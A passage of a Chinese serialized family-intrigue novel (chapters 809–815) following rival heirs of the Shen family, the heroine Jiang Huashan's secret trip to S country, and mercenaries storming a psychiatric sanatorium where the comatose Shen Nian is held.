“您早知道我会来找您。”她的声音沙哑,说的是正宗的A国话。 沈归灵转身,背对着窗外稀薄的微光,面容隐在阴影里,看不清神情。 见他不语,安缇指尖微蜷,似乎下定了决心。上前一步,声音虽低却清晰无比:“殿下,我对您没有恶意,”她顿了顿,纠正道,“不!应该说,我对您绝对忠诚,请您相信我!” “忠诚?”沈归灵轻声重复,这个词在他唇齿间流转,带着一丝久远而陌生的嘲弄。 他偏过头,目光如同实质般仔细打量着眼前的女人,仿佛要透过她的皮囊看穿内里的灵魂。 安缇重重点头,步履坚定地来到沈归灵面前,右膝一曲,单膝触地,仰起脸看着他:“殿下,请您相信,我对您的忠诚,远远高于我的生命。” 沈归灵沉默片刻,缓缓开口,“即使我不会回去?” “是,如果这是您的意愿我将坚决拥护。”她的回答斩钉截铁,没有任何犹豫。 沈归灵再次沉默,指尖无意识地在沙发扶手上轻轻敲击着。 沈兰晞绝不可能这么轻易把沈年送回沈园,他既然能看出他有问题,同样也一定看出沈年有问题,他不可能会把有问题的人送到爷爷身边。 所以,沈兰晞还在骗他,沈年一定还在S国。 既然沈兰晞执意要与他相争,那就没有不奉陪的道理了。 只是,沈兰晞有整个沈家作为后盾,若是这个时候没有外力,只怕会输…… 倏然间,沈归灵眸光一凝,所有杂念尽数沉淀。他转头看向仍跪在地上的安缇,声音恢复了平日的清冷:“你能查到沈年现在在哪吗?” 安缇几乎不假思索应道,“请殿下给我半天时间,只要他还在S国,上天入地我都能替殿下找到。” 沈归灵缓缓勾起嘴角,看似温和的眉眼带着几分意味不明的探究,“你似乎一点都不担心自己出不去?” 看来小殿下似乎对她有些误解。 那个大块头虽然厉害,但她的身手也不赖,如果不是她想留下来向沈归灵表忠心,当晚就逃走了。她不跟白密一起走,就是想告诉沈归灵,她跟王室那些人不一样。 安缇看着那双如故人一般的眼睛,心头思绪万千,轻声道,“殿下放心,如果连这种小事都处理不好也不配待在殿下身边。” 不等沈归灵回应,她扬起嘴角,仿佛进行某种仪式般地说道,“殿下,我叫Anthea,在希腊语中是如花般盛开的意思。在您很小的时候,我就认识您了。” 说罢,安缇突然纵身跃起,身形如鬼魅般扑向沙发上的沈归灵! 她指间不知何时多了一抹寒光,直刺沈归灵咽喉,动作狠厉决绝,与方才宣誓效忠的模样判若两人! “……” …… 第810章 我心向明月 “少爷。” 高止推门而入,反手轻轻将门带上。 书房内只亮着一盏复古的黄铜台灯,光线集中在宽大的书桌上,将沈兰晞笼罩在一片暖光中,而他身后的大片空间则沉在阴影里,愈发显得他身形挺拔,矜贵优雅。 高止行至书桌前约三步远的位置站定,微微垂首,小心翼翼看向沈兰晞:“少爷,人跟丢了。” 沈兰晞并未立刻抬头,指尖在文件某一行上轻轻划过,发出几不可闻的摩擦声,“怎么?她没去找沈归灵?” 高止的表情比吞了一百只苍蝇还难受,“去了!但我带着人冲进病房的时候,恰好看见那女人准备暗杀沈归灵,被我们撞破后,她直接破窗逃了出去。早知道是这样,我就晚点踹门了,让沈归灵吃点苦头也好。” 沈兰晞情绪淡淡,没有接话。 高止皱了皱眉,面露不解,“少爷,我们是不是弄错了,那女人曾经在路西法一号出现过,说明她极有可能是白峥的人。白峥死于沈归灵之手,她或许真是王室派来暗杀沈归灵报仇的,当时整个别墅停电,视线混乱不清,情急之下杀错人也是有可能的。” 沈兰晞的目光终于从文件上抬起,眼神笃定,“你刚刚也见识到了那个女人的本事了?她在黑暗中来去自如,说明她夜视能力极强。事发时虽然没有灯光,但窗边还有月光,你觉得这样的人会误杀?” 高止不觉皱起了眉头,难怪少爷命他松绑的时候露出破绽,原来是在试探那个女人。 “可是少爷,白家王室的亲卫,历来是有亲王才能驱使,沈归灵……” 他故意看了沈兰晞一眼,清了清嗓子,“他就是二房一个上不了台面的私生子,要什么没什么,哪像少爷您,日月同辉璀璨夺目,他哪能驱使得了白家亲卫?” 沈兰晞眉头微蹙,这就是他想不通的地方。 如果是一般杀手就算了,和白家王室有牵扯,一定不是金钱能驱动,沈归灵怎么会有这么大的本事? 他沉默片刻,冷冷道,“我让你盯着沈归灵,他却还是在你的眼皮子底下险些杀了沈年,这次的任务奖金取消。” 怎么这样,高止瞬间感觉天要塌了,梗着脖子据理力争,“少爷,可是我给你发了200G的文件包,没有功劳也有苦劳。” 沈兰晞,“沈年要是死了,你这辈子也别想再有奖金。” 这个诅咒实在是太恶毒了,高止瞬间清醒,一秒变成严肃脸,“少爷放心,我已经把沈年转移到最适合他的地方,绝对安全。” “不过……”高止顿了顿,欲言又止,“您要是担心沈年出事,怎么不干脆直接把人送回沈园,还有什么地方比沈园更安全?” 沈兰晞,“沈归灵有问题沈年就没有了?把一条毒蛇放进沈园才是真正的后患无穷。” 他从没想过要保住沈年,只不过是因为沈归灵死咬着沈年不放才引起了他的怀疑。 以沈归灵的脑子,现在应该已经就反应过来沈年还在S国,如果沈年手上真的有沈归灵的把柄,他一定会再次灭口。 这里是S国,眼下沈家的资源都为他所用,如果沈归灵能在这么苛刻的条件下找到沈年,说明他背后一定有人。 既然要决定争,总不能连对手有什么底牌都不知道。 高止哪能想到,自己不过出差的这几天,他家少爷就已经大彻大悟。 他嘶了一声,抓了抓头,“少爷,您到底想干嘛?沈年您到底是救还是不救?” 沈兰晞淡淡睨了他一眼,“救,也不救。” “……”啊呸!故弄玄虚!高止在心里啐了一口。 沈兰晞掀眸,面无表情看着他, 高止顿时警铃大作,咧开嘴角强行营业,“不愧是少爷,说话就是艺术。” 沈兰晞,“滚出去。” 高止嘴角收拢,哦了一声,灰溜溜出了书房。 待人走后,沈兰晞起身,推开阳台的玻璃门,一湾清辉流泻拂过他的脸颊。 他抬头,看着天边的月亮,喃喃道,“你想要的是沈年的命,对吗?” …… 第811章 探视、试探 襄英。 沈庄退烧后的第二个晚上就已恢复了清醒。这几日沈娇一直在病榻前贴身照料,人也肉眼可见地清减了一圈,沈庄看着心疼,索性将一众前来探视照看的人都请出了房间,只留下孟医生从旁看顾。 不过,总有人例外。 “爷爷。” 姜花衫怀抱一束灿烂的向日葵推门而入。 如今,不论老宅还是沈氏公馆上下,都清楚这位来自鲸港的嫡公主在老爷子心中的分量。因此,即便沈庄刚屏退了众人,也无人敢阻拦她。 沈庄正就着水吞服药丸,闻声抬头,眉眼间顷刻漾开真切的笑意。 “哟,小花儿来看爷爷了?” “嗯。”姜花衫浅笑着,顺手将怀中那捧生机勃勃的向日葵递给一旁的孟医生,“孟医生,麻烦您找个漂亮的花瓶插起来。” “好的,姜小姐。”孟医生恭敬接过花束,颔首退出了内室。 姜花衫仔细端详着沈庄的气色,“爷爷,您感觉好些了吗? “好多了。”沈庄缓了口气,轻轻拍了拍她的手背,“吓坏了吧?” 这场病,姜花衫心中早有预感,惊惧谈不上,但看着老人病容憔悴,心疼却是真的。 她点点头,语气带着几分娇嗔与关切:“爷爷,您年纪大了,家里的事能放就放一放,身体最要紧。” “好,好,爷爷知道了。”沈庄从善如流地应着,笑容慈祥,“难得清静,陪爷爷说说话?” “好呀。” 姜花衫在床边的绣墩上坐下,眉眼生动地讲起此前在淮城经历的趣事。 自从沈庄对她坦诚了和姜昕之间的过往后,姜花衫便不再避讳提及从前。 她说起那段在幼年在白茶树下胡闹,奶奶清嗓唱戏的经历时,沈庄的神色逐渐变得宁和而遥远。 姜昕虽然被困在了那段戏文般的时光里,却依旧将小花儿教养得这样好,每每思及此,他心中便思绪万千。 “爸。” 室内气氛宁馨,门外却忽然响起小心翼翼的敲门声。 沈庄抬眸望向门口,眼中的笑意淡去了些许。未等他应声,沈渊已小心地踏进门槛,朝屋内飞快地觑了一眼,旋即低下头。 “爸,我……有点事想跟您商量。” 沈庄转瞬恢复了惯常的沉稳:“进来吧。” 沈渊连忙快步走进里屋,目光扫过姜花衫,脸上堆起恰到好处的惊讶:“衫衫也在啊。 方才在外面,沈渊早就听见了里面说笑的声音,这会子说这话也不过是揣着明白装糊涂。 姜花衫抿唇笑了笑,依礼招呼:“二伯。” 沈渊点了点头,转向沈庄,语气关切:“爸,您身体好些了吗?” 沈庄神情平淡:“什么事,非得赶在这个时候说?” 沈渊目光微闪,抬眸瞥了姜花衫一眼,见老爷子全然没有让她回避的意思,权衡一瞬,只得小心开口:“是关于澜兰的。” 萧澜兰? 姜花衫眉梢几不可察地一动,垂下眼帘,百无聊赖似的摆弄着自己纤细的手指。 “澜兰?”沈庄皱起眉头,“她不是在修道院学习吗?出了什么事?” 沈渊赶忙解释:“爸,澜兰出去也快三年了。她是真的知道错了,听说您病倒了,那孩子很担心您,她也想回来看看您。” 沈庄面色未变,只眸光深沉,看不出喜怒。 沈渊见状,神色愈发黯然,话语里带上恳求:“还有小娥,这三年她一直守在M国,萧启对她们母女不闻不问,日子很是难熬。爸,您连阿年都原谅了,能不能……也让澜兰回来?” 沈庄沉默片刻,未直接回答,转头轻轻拍了拍姜花衫的手背,语气温和地问:“小花儿,你说呢?” 这一问,让沈渊彻底愣住了。 在沈家,大小事务向来是沈庄一语决断,他何时需要询问旁人的意见? 姜花衫闻言,认真思忖了片刻,抬起头迎上沈庄的目光,声音清澈而坦然:“爷爷,我觉得……如果澜兰姐是真心知错了,就让她们回来吧。一家人,终究是团圆的好。” 沈渊愕然,几乎难以置信地看向姜花衫。 萧澜兰之所以被送出国都是姜花衫从中作梗,这丫头性子怎么这个时候做起好人来了? 沈庄沉吟片刻,目光转回沈渊脸上,淡淡道:“听见了?” 沈渊猛地回神,慌忙敛起脸上的错愕,惊喜之情溢于言表,连声应道:“哎!听见了!谢谢爸!我这就去告诉小娥这个好消息!” 待沈渊出了内屋,沈庄轻叹了一声,“小花儿,你真的能原谅澜兰吗?” 姜花衫想了想,反问道:“爷爷呢?爷爷能原谅吗?” 沈庄顿了顿,神色莫测,“原不原谅就看她自己了。” * 沈庄的身体现在还很虚弱,需要静养,孟医生抱着插好花的花瓶进屋时,姜花衫立马起身告辞。 老宅不像沈园,四处铺满鲜花,这里随处都是郁郁葱葱的百年老树,姜花衫踏着叶间投下的金影,刚转出主院就听见回廊那传来不小的动静。 “你们放开我!我说了,我没有恶意,我是去给族爷爷看病的!” “你个小鬼,都跟你说多少遍了族长已经醒了!现在有鲸港的名医照顾,用不着你。你要想玩医生病人的游戏上别处去,少来这里碍眼。” “我才不是玩!是族爷爷答应我的!我……” “别废话了,赶紧把人赶出去!孟医生说了老爷子要静养,耽误了事咱们谁都承担不起。” 回廊下,一群老宅的族人推搡着一个年岁不大的少年,少年抱着怀里的木箱,从廊头被拖到了廊尾。 姜花衫皱了皱眉,转身走进廊庑,语调慵懒,“你们几个,放开那小鬼~” …… 第812章 暗度陈仓 姜花衫的声音不大,却带着一种不容置疑的威势,瞬间让嘈杂的回廊安静了下来。 那些推搡着少年的众人闻声一怔,往廊下看了一眼,纷纷变了脸色当即就松开了手。 少年穿着一身洗得有些发白的旧衬衣,却收拾得十分干净。他被猛地松开,踉跄了一下,却仍死死抱着怀里那个看起来颇有些年头的深色木箱,仿佛那是比性命还重要的东西。 他抬起头,露出一张清秀却带着倔强的脸庞,少年不是别人,正是之前替沈庄把脉的沈知礼。 那群老宅族人已经认出了姜花衫,纷纷垂下头,恭敬地让开道路。 为首的男人赶忙解释:“姜小姐,惊扰到您了?是这小子不懂事,非要闯进去说要给族长看病,我们也是怕他打扰族长静养……” 姜花衫并未立刻理会他们,目光落在少年紧抱的木箱上,又扫过他因用力而泛白的手指和那双执拗的眼睛,眉头微蹙:“你说,你是来给爷爷看病的?” 少年用力点头,像是抓住了救命稻草,语速极快地说道:“是!族爷爷之前答应过我的!我、我学过医的!我听说族爷爷病了,我很担心,我这里有药……” 他说着,下意识将手里的木箱推了出去,似乎想证明自己所言非虚。 闻言,旁边的族人忍不住嗤笑:“学过几天赤脚医生的偏方,就敢来给族长看病?也就是老伯公纵着你们这些小屁孩,快走吧,这里不是你胡闹的地方。” 提起已故的沈钧,沈知礼眼角瞬间涨红,像只斗兽朝众人怒喊:“我没有胡闹!我学的是正经的医术!” 为首的男人懒得和他掰扯,堆着笑容向姜花衫解释,“小姐,这孩子之前都是给流浪猫流浪狗捣弄草药,后来得了老伯公的照顾才去镇上的中医馆做了几年学徒,可那都是小孩子过……” 姜花衫充耳不闻,直接越过众人走到少年跟前,“你刚刚说爷爷答应过你?他答应了你什么?” 男人笑容顿了一秒,主动接话,“老爷子日理万机哪有空搭理他,我看就是这小鬼瞎……” 姜花衫侧头,面无表情看着眼前的男人,“我问你了?” 男人怔愣,之前只觉得这位姜小姐长得好看,没想到性子这么不好惹。 沈知礼也看出了这群人似乎很怕眼前的漂亮姐姐,眼神真诚:“上次我给族爷爷号脉,技术不精闹了笑话,族爷爷答应我,等我医术进步了再试试。我听说他老人家病了,我想着或许能趁这个机会再摸一摸脉象。” 姜花衫沉吟片刻,目光扫过那些屏息凝神的族人,最终又落回沈知礼身上。 “爷爷刚醒,现在需要休息,孟医生正在里面照顾。”她开口道,语气平和却带着决断,“你的心意,我会替你转达。至于看病,现在不方便。” 沈知礼张了张嘴,似乎想反驳,但看着姜花衫平静却不容置疑的眼神,又看了看周围虎视眈眈的族人,最终还是把话咽了回去。 少年低头抱起地上的木箱,对着姜花衫深深鞠了一躬:“谢谢……谢谢您。” 随即一步三回头地,在众人的注视下,慢慢地离开了回廊。 姜花衫看着少年清瘦的背影消失在廊庑尽头,这才收回目光,神色淡淡环顾众人:“你们是哪房的人?” 为首的男人脸色一凛,吓得连忙告罪,“姜小姐,我们也是不想有人打扰老爷子休息,哪里做的不好还请姜小姐指正。” 姜花衫笑了笑,“不~你们做的很好,败坏爷爷的名声,隔离小辈的亲近,你们做得非、常、好~” 男人哪能听不出姜花衫的讽刺,艰难咽了咽唾沫,“姜小姐……” “滚!以后内宅的事不需要你们插手,再让我看见一次……” “明白!”不等她说完,男人朝身后众人使了个眼色后,像逃命似的窜出了院门。 一群人不明所以,面面相觑,犹豫片刻转头跟了上去。 “五叔伯,您跑那么快干什么?” 男人一连跑了三重门,直到两腿哆嗦得不行才停了下来,见众人一副不理解的样子,一边喘气一边摆摆手,“你们以后看见她,都躲远点。” 众人更是不解,一个长得好看的小丫头而已,至于吗? 男人摇摇头,“你们懂什么?几位堂公伯公就是因为在族长面前贬责了这位姜小姐,老族长就生气要分家,现在全族人还等着老族长回心转意,要惹了她,以后沈家就是两姓了。” 众人这才恍然大悟,不约而同看向院门的方向。 难怪老爷子都下令静养不准打扰,这位姜小姐还能进出自由。 * 沈知礼抱着他那宝贝木箱,慢吞吞地走在襄英老宅外围僻静的小巷里。 夕阳将他的影子拉得很长,透着几分落寞。没能见到族爷爷,他心里终究是失落的,但那位姜小姐肯为他说话,没让那些势利的雇佣继续驱赶他,他已心存感激。 只是伯公爷爷才走,他们就这么对他,以后的日子只怕更难过了。 沈知礼拐进一个更偏僻的角落,那里堆放着一些废弃的竹筐和杂物。他轻车熟路地扒开几个筐子,角落里赫然出现一只脏兮兮的流浪猫,后腿似乎受了伤,蜷缩着,警惕地看着他。 沈知礼叹了口气,蹲下身,小心翼翼地打开木箱。 箱子里分门别类地放着各种晒干的草药和几个小瓷瓶。他取出一些捣碎的草药粉末,又从一个瓶子里倒出些许清水,熟练地调和起来,轻声对那猫儿说:“别怕,上了药就不疼了……” 他专注着手上的动作,丝毫没注意到身后轻微的脚步声。 “原来他们说的没错,你的病人真的是小猫。” 沈知礼吓了一跳,猛地回头,只见姜花衫不知何时站在了那里,正饶有兴致地看着他和那只猫。 夕阳的金辉勾勒出她精致的侧影,与她身处这杂乱环境显得有些格格不入,却又奇异地融合。 “姜、姜小姐?!”沈知礼慌忙站起身,神情怔愣,“您……您怎么在这?” 姜花衫点了点他脚下的小猫,“我来请你给我爷爷看病。” “看病?”沈知礼略带困惑皱了皱眉,“可是……您不是不信我吗?” “不~”姜花衫很认真地纠正,“我信你,我不信的另有其人,小礼神医~” …… 第813章 送你一个依靠 上一世,沈庄去世一年后,S国一位神秘的天才神医横空出世,如一道惊雷划破沉寂的医学界。 彼时,白家女王因残酷的家族内斗遭遇暗杀,身中奇毒,生命垂危。 皇家医院的顶尖医官们轮番上阵,最终却只能摇头叹息,黯然宣告死讯,王宫上下陷入一片绝望的死寂。 就在举国哀恸之际,一位背着破旧医箱的清冷少年,孤身闯入守卫森严的白王宫。少年不卑不亢,立下生死状,若救不活女王,愿以身殉葬。 无人知晓那一周内重重帷幔之后究竟发生了什么,只知道第七日的晨曦照亮王宫鎏金的穹顶时,奇迹降临了。陷入昏睡的女王竟恢复了微弱的呼吸,并于数月后彻底转危为安。 自此,那位沉默寡言的少年名声鹊起,一时间成为了所有显贵竞相追捧、却又难以请动的座上宾。 姜花衫曾因为好奇看过少年的采访,那时的他眉眼低垂,侧脸线条瘦削而冷硬,被惨白的镁光灯勾勒出一种与年龄极不相符的老成与阴郁。 他看着镜头告诉所有人,“我没有姓,你们可以叫我小礼神医。” 自封神医,本是江湖骗子的行径,足以引来天下人的耻笑与唾骂。 然而,沈知礼却用一次次起死回生的精湛医术,将所有的质疑与诽谤彻底碾碎。久而久之,“小礼神医”这个名号,便成为一种带着敬畏的公认尊称。 眼前的少年虽然和上一世的小礼神医判若两人,但她还是一眼就认出来了。 天知道看见沈知礼的那刻,她当时内心有多震撼?! 原来,他姓沈,也曾是沈家人。 宿命真是跟爷爷开了一个天大的玩笑,曾经有人这么努力地想靠近他,却在爷爷看不见的角落被一群魑魅魍魉推了出去。 虽然她不曾亲见,她也能想象到,一个稚嫩少年辗转流落于异国会遇见多少坎坷? 沈知礼一时看不明白姜花衫是什么意思,皱了皱眉,“你在取笑我吗?” 他现在算哪门子神医,大家都不愿意相信他,宁愿多走几十公里的路去镇上的大医馆,也不愿意让他瞧瞧。 姜花衫想了想,走上前蹲下身,轻轻摸了摸小奶猫的额头。 “喵~”小猫原本还奶凶的防备,被顺毛抚摸了片刻,声音也嗲了起来。 “我没有开玩笑,我很认真……”姜花衫轻声开口,“我需要你的帮助,不!应该是说家族需要你,沈知礼,我帮你找个依靠,如何?” “……” * 沈庄同意萧澜兰回国的消息一出,沈谦立马坐不住了,鲸港国会刚结束又马不停蹄赶回襄英。 在他看来,沈渊已经跟他闹翻,这个时候替萧澜兰求情无非是想拉拢沈娥。 如今他势单力薄,政绩岌岌可危,若是再不主动出击只怕会落于下风。 主屋灯火通明,窗前的向日葵开得正艳。 沈谦行色匆匆步入主院,见了沈庄,当即跪地承情,“爸,求您答应,让我亲自接阿灵和阿年回来吧?” 沈庄已经回绝过沈谦,这个时候沈谦再提,无异于触及了沈庄的逆鳞。 老爷子大怒,直接把沈谦赶了出去,但沈谦不愿在这件事上妥协,即使被赶出屋子,依旧跪在院子不愿意离开。 事情闹开,很快惊动了沈家其他人,一群人闻讯赶来。 沈谦虽然常年被责备,但几乎没有当着众人面下跪的时候,众人见状神色微讶。沈娇立即领着傅绥尔、沈眠枝进屋开导沈庄,沈让和沈渊则是在外劝说沈谦避让。 “你们怎么都来了?”沈庄心气不顺,神情虽缓和,但语调依旧生硬。 沈娇赶紧给老爷子倒了杯热水,“爸,您病才刚好,消消气。” 沈庄摇头,摆摆手,“一个个的不长脑,我以后就是死了这口气也被你们蠢得咽不下。” “爸。”沈娇有些无奈,“您生气归生气,可别诅咒自己。” 说着便下意识地在屋内搜寻起来,“爸,衫衫呢?怎么没看见她?” 以往老爷子盛怒,也只有姜花衫能哄好。 沈庄正端起茶杯欲饮,听到沈娇的话,不觉眉头微蹙。他抬起眼,锐利的目光落在沈娇的脸上,“下午就回去了,怎么?她没跟你们在一起?” 沈娇微愣,急忙对着门外候着的佣人喊道:“还愣着干什么!快去找姜小姐!问问外面的人看见她出去没有?” 沈庄莫名有种不好的预感,心口发闷,猛地咳嗽起来。 沈眠枝见状,连忙又跑回床边给沈庄顺气,“爷爷,您先别急,衫衫做事极有分寸。” 没一会儿,外头的管事急匆匆跑了进来,见一屋子人脸色都不好,连忙把午间在回廊发生的事说了一遍。 “小姐训完那些人就出了宅子,我们以为她只是出去散散心,也就没有多问。” “一个人不见了你们这会儿才发现,还不去找!”沈庄大怒。 就在这时,另一个管事领着一个身量不高的少年走了进来。 “老爷子,这孩子说姜小姐请他给您捎信。” 沈庄上一秒还阴沉不定的脸色下一秒缓和了许多,眯着眼看着灯下的少年,眸底闪过一丝微芒。 沈知礼赶紧上前,从打满补丁的书包里掏出了一张信笺。 “族爷爷,这是姜姐姐要我转交给您的。” 沈庄接过信笺,展开扫了一眼,无可奈何地捏了捏眉心。 沈娇立马上前,“爸,衫衫说什么?” 沈庄的声音里多了几分萧瑟,“她说她去S国把哥哥们带回来。” 沈娇脸色骤变,“她一个人,这可怎么行?” 傅绥尔连忙安抚沈娇,“妈,您先别激动,衫衫肯定是知道爷爷想团圆,所以才不告而别的。” 沈娇气极,指尖用力点着傅绥尔的脑门,“你是不是早就知道了?你为什么不告诉我?” 傅绥尔眉眼闪烁,捂着额头,“没有,我也是刚刚知道的。” 沈娇气得想打人,沈庄闭了闭眼,“行了!人都已经走了,打孩子有什么用?” 沈娇,“爸,我现在就去S国。” “回来。”沈庄摆摆手,指着门口,“告诉外面那个逆子,去把人带回来,白家要敢找麻烦不必客气。” 沈谦毕竟是A国要员,有他出面制衡白家,能给几个孩子吸引些火力。 “知道了。”沈娇点头,略带警告瞪了傅绥尔一眼,转身出去传话。 傅绥尔撇了撇嘴,一脸好奇打量眼前的少年,“你是谁啊?怎么还背着这么破旧的包?” 沈知礼有些局促地摸了摸肩膀,“这是堂伯公给我的。” 沈庄早在少年进屋的第一眼就认出了他肩上布袋,他沉默片刻,盯着少年脸上的伤,“你身上的伤是怎么回事?” 沈知礼有些不好意思摸了摸额头,“我给小猫治病的时候被它挠的。老爷子,信送到了,我该告辞了。” “诶,等等。”傅绥尔连忙叫住沈知礼,回头看向沈庄,“爷爷,要不是他咱们现在还在满世界找衫衫,可不能让人家白跑。” 说着,她转头看向沈知礼,“你是哪家的孩子,住哪里啊?待会儿我让人准备厚礼给你送过去。” “不……不用了,举手之劳的小事,不用这么麻烦。”沈知礼连忙摆手婉拒。 傅绥尔皱眉,抬眸看向身后的管事。 管事会意,立马接话,“老爷子,这孩子是个孤儿,之前一直都是跟着堂伯公,如今堂伯公走了,族里还没给他安排住处。” “啊,好可怜啊。”傅绥尔眉头紧蹙,眼巴巴看着沈庄。 “……”沈庄目光在少年脸上逡巡了一圈,温声道,“你堂伯公不在了,以后就跟着族爷爷吧,你可愿意?” 沈知礼怔愣,忽然又想起暗巷光束下,那人言笑晏晏的模样,他好似做梦一般点了点头。 “愿意。” …… 第814章 对弈之局 A国,鲸港。 夜色深沉。 余斯文深陷在宽大的真皮座椅中,指间夹着一支粗壮的雪茄,猩红的火点在昏暗的光线下明明灭灭。 这几日,媒体轮番不断轰炸,他的支持率降到了历史新低,依照现在的情况,用不了多久他就会被踢出候选人名单。 最可气的是,S国那边已经单方面停止了与他的合作,他只能依靠着这几年积累的资源苟延残喘,但这终究改变不了灭亡的结局。 余斯文烦躁地碾灭雪茄,这样下去不行!他必须想办法找出破局的方法。否则事情败露那天,总统之位保不住是小事,还可能会被送上断头台。 “叮咚——” 桌面上静默的手机屏幕忽然亮起,发出了一声极轻微的邮件提示音。 余斯文有些不耐烦地瞥了一眼,是一个完全陌生的加密发件地址。本不想理会,但鬼使神差地,他还是划开了屏幕。 邮件内容极其简短,没有任何称谓和落款,只有冷冰冰的一行字: 【姜花衫已孤身抵达S国国际机场,目的地:皇家医院。】 余斯文猛地坐直了身体,先前所有的烦躁和阴郁瞬间一扫而空。 他如今落到眼前这个地步,可以说都是拜这个姜花衫所赐。不管她背后的人是谁,这笔账在他就是死也一定要讨回。 余斯文的嘴角控制不住地向上扯动,露出一抹混合着狠戾与兴奋的扭曲笑容。 现在全A国都在找叛徒,若是把姜花衫此行的目的和叛国挂钩,说不定他的事还有转机。 在沈家的眼皮子底下,他想动这位备受宠爱的“鲸港嫡公主”或许还会束手束脚,但在S国……那个法外之地,可就不好说了。 但…… 余斯文死死盯着屏幕上那行冰冷的字,狂喜过后,一丝本能的警惕悄然浮上心头。 发送信息的人明显是想借刀杀人,是谁?是谁在暗中窥探?这个人究竟有什么目的? 瞬间,无数个念头在余斯文的脑中飞速闪过。最终,他缓缓闭上眼,按灭了屏幕。 即便这是个陷阱,现在的他也只能赌一把了 * 飞机伴随着巨大的轰鸣声,降落在S国国际机场。 人潮向四周涌动扩散。 机场周围可见持枪巡逻的士兵,神色肃穆,安检程序也格外严格,处处透露出这个国度并不松懈的紧张氛围。 姜花衫穿着一身轻便的运动装,刚掏出手机,傅绥尔的消息就弹了出来。 -【君临天下:OK】 她笑了笑,压低帽檐,快步穿过嘈杂的抵达大厅。 以爷爷的智慧,只要一眼就知道她打的什么哑谜。再有傅绥尔从旁协助,沈知礼这步棋就算落子了。 现在棘手的是沈年。她亲自来就是想看看,那三个傻逼磨蹭了这么久到底在搞什么名堂? * 皇家医院。 沈归灵靠在病房冰冷的墙壁上,窗外S国灰蒙蒙的天光映照着他没什么血色的侧脸。 手机屏幕在他指尖亮起,幽光映亮他低垂的眼睫。 -【殿下,沈年目前被安置在圣路易斯精神疗养中心。这间疗养院对外宣称是进行深度心理干预与封闭治疗,守卫等级极高。】 沈归灵的指尖在屏幕上方停顿了一瞬。 精神疗养院?说得好听,不就是神经病医院吗? 沈兰晞竟然把沈年塞进这种地方?! 沈归灵唇角勾起一丝冰冷的弧度,几乎看不出是在笑。 到底是谁不装了? 以沈年的性子,醒来要是发现自己被关进了精神病院,只怕非气死不可。 光风霁月的沈家嫡孙少爷,残害起手足来倒是手段了得啊。 沈归灵将手机按灭,随手掀开被单,慢条斯理地换上了之前的夜行装备。 不得不说,沈兰晞这个人傲慢至极,即便看见这些东西也没有收回。 “叩叩——” 这时,门外响起了敲门声,没等沈归灵应声,门就从外面被推开。 沈清予双手抱胸,歪着头朝他打招呼。 “哟,阿灵哥,又要去忙?” “嗯。”沈归灵眼皮都没抬,熟稔地检查着弹匣,“沈谦让我再试试。人在屋檐下,不得不低头。” 沈清予嗤笑了一声,“你查到沈年在哪了?” “是沈谦查到的。” 沈归灵将手枪插入后腰,目不斜视地越过沈清予。 沈清予面无表情地看着他胡说八道。两人并肩时,他忽然一把扣住沈归灵的肩膀,笑的没心没肺: “阿灵哥,我跟你一块儿去杀沈年,怎么样?” …… 第815章 斗智斗勇 圣路易斯精神疗养中心坐落于S国首都远郊,远离喧嚣,被大片修剪整齐却透着刻板气息的绿植环绕。高耸的白色围墙和紧闭的黑色铁门将其与外界彻底隔绝,透着一股不容侵犯的冷肃与隐秘。 一辆黑色的轿车无声地滑入专用通道,经过层层严密的身份核验,最终停在一栋独立的、外观更为简洁现代的低层建筑前。 沈兰晞从车上下来,穿着一身剪裁合体的深色西装,面容冷峻,与周围静谧到近乎压抑的环境格格不入。 早已等候在门口的院长和主治医生立刻迎了上来,态度恭敬中带着一丝不易察觉的紧张。 “沈少爷。” 沈兰晞微微颔首,没有多余的寒暄,径直朝内走去,“情况怎么样?” 主治医生连忙跟上,一边引路一边汇报:“沈年先生目前仍在昏迷中,但生命体征非常平稳,脑部活动也比之前活跃了许多。根据我们的监测和评估,他应该……很快就能苏醒过来。” 穿过需要密码和指纹双重验证的玻璃门,内部是纤尘不染的纯白色走廊,灯光柔和却无处不在,空气中弥漫着消毒水和新风系统运转的微弱气味。 每隔一段距离就有身着制服、表情严肃的安保人员站岗,监控摄像头无死角地覆盖着每一个角落。 他们最终停在一扇厚重的隔离门前。门上有一面小小的强化玻璃窗。 沈兰晞透过窗口望进去。 房间内部是极简的纯白色调,除了一张固定的医疗床和必要的生命监护仪器外,几乎没有任何多余的物品。 沈年静静地躺在病床上,双眼紧闭,脸色苍白,各种导线和软管连接在他身上,显示着他依然脆弱的生命状态。他看起来睡得沉静,仿佛只是陷入了一场漫长的睡眠,而非经历了生死枪击。 “很快是多久?”沈兰晞的声音在寂静的走廊里显得格外清晰冰冷。 “这个……”主治医生小心翼翼,“无法精确到具体时间。可能是一两天,也可能是几个小时,甚至……下一秒。但他的身体确实已经在为苏醒做准备了。我们会24小时密切监测,一旦有动静,会立刻通知您。” 沈兰晞的目光从沈年身上收回,落在主治医生脸上,那眼神平静无波,却让后者感到一股无形的压力。 “确保他醒来后,情绪稳定。”沈兰晞的声音不高,却带着不容置疑的命令,“在他能清晰、冷静地回答问题之前,我不希望有任何不必要的刺激。明白吗?” “明白,请您放心,沈先生。我们有一套完整的预案,会确保一切在可控范围内。”院长立刻躬身保证。 沈兰晞最后看了一眼病房内依旧昏迷的沈年,眼中情绪莫测。他没有再多说什么,转身,在院长和医生恭敬的目送下,沿着来时的走廊,一步步离去。 * 窗外,整齐划一却毫无生气的绿植飞速向后掠过。 沈兰晞坐进车内,刚阖上眼。 “吱——!” 一声极其短促尖锐的轮胎摩擦地面的声音炸响! 高止毫无预兆地猛踩下刹车!强大的惯性将沈兰晞的身体向前狠狠一带,又被安全带勒回座椅。 几乎在同一瞬间,高止满脸震惊地回头看向沈兰晞,指着耳朵里的耳返,语速快得惊人:“少爷,疗养院内部警报!就在刚刚有人触发了最高权限区的生物识别锁!不……不会真是沈归灵吧?这才过了多久?” 沈兰晞缓缓睁开眼,眼底仅存的些微波澜顷刻间冻结,“回去看看不就知道了?” * “嘟——嘟——嘟——” 圣路易斯精神疗养中心的警报声在整个庄园上空回荡。 与此同时,两道黑影蹲在灌木丛阴影深处,置身事外注视着眼前骤然沸腾的混乱。 一群雇佣军开着直升机从天而降,他们穿着统一的深色作战服,动作迅捷如鬼魅,战术动作干净利落,正以极强的火力压制和精准的配合,强行突破疗养院的外围安保! 